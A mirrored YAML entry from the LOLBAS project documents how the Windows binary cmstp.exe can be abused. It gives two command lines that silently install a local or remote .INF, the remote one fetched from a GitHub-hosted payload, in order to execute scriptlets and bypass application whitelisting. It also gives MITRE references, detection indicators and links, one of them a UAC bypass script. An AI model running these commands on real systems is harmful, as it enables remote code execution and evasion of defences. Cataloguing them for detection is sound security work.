mirror of
https://github.com/LOLBAS-Project/LOLBAS
synced 2024-12-30 16:54:00 +01:00
43 lines
2.2 KiB
YAML
43 lines
2.2 KiB
YAML
---
|
|
Name: Cmstp.exe
|
|
Description: Installs or removes a Connection Manager service profile.
|
|
Author: 'Oddvar Moe'
|
|
Created: '2018-05-25'
|
|
Commands:
|
|
- Command: cmstp.exe /ni /s c:\cmstp\CorpVPN.inf
|
|
Description: Silently installs a specially formatted local .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.
|
|
Usecase: Execute code hidden within an inf file. Download and run scriptlets from internet.
|
|
Category: Execute
|
|
Privileges: User
|
|
MitreID: T1191
|
|
MitreLink: https://attack.mitre.org/wiki/Technique/T1191
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
|
|
- Command: cmstp.exe /ni /s https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Cmstp.inf
|
|
Description: Silently installs a specially formatted remote .INF without creating a desktop icon. The .INF file contains a UnRegisterOCXSection section which executes a .SCT file using scrobj.dll.
|
|
Usecase: Execute code hidden within an inf file. Execute code directly from Internet.
|
|
Category: AwL bypass
|
|
Privileges: User
|
|
MitreID: T1191
|
|
MitreLink: https://attack.mitre.org/wiki/Technique/T1191
|
|
OperatingSystem: Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
|
|
Full_Path:
|
|
- Path: C:\Windows\System32\cmstp.exe
|
|
- Path: C:\Windows\SysWOW64\cmstp.exe
|
|
Code_Sample:
|
|
- Code:
|
|
Detection:
|
|
- IOC: Execution of cmstp.exe should not be normal unless VPN is in use
|
|
- IOC: Cmstp.exe communication towards internet and getting files
|
|
Resources:
|
|
- Link: https://twitter.com/NickTyrer/status/958450014111633408
|
|
- Link: https://gist.github.com/NickTyrer/bbd10d20a5bb78f64a9d13f399ea0f80
|
|
- Link: https://gist.github.com/api0cradle/cf36fd40fa991c3a6f7755d1810cc61e
|
|
- Link: https://oddvar.moe/2017/08/15/research-on-cmstp-exe/
|
|
- Link: https://gist.githubusercontent.com/tylerapplebaum/ae8cb38ed8314518d95b2e32a6f0d3f1/raw/3127ba7453a6f6d294cd422386cae1a5a2791d71/UACBypassCMSTP.ps1
|
|
- Link: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/cmstp
|
|
Acknowledgement:
|
|
- Person: Oddvar Moe
|
|
Handle: '@oddvarmoe'
|
|
- Person: Nick Tyrer
|
|
Handle: '@NickTyrer'
|
|
--- |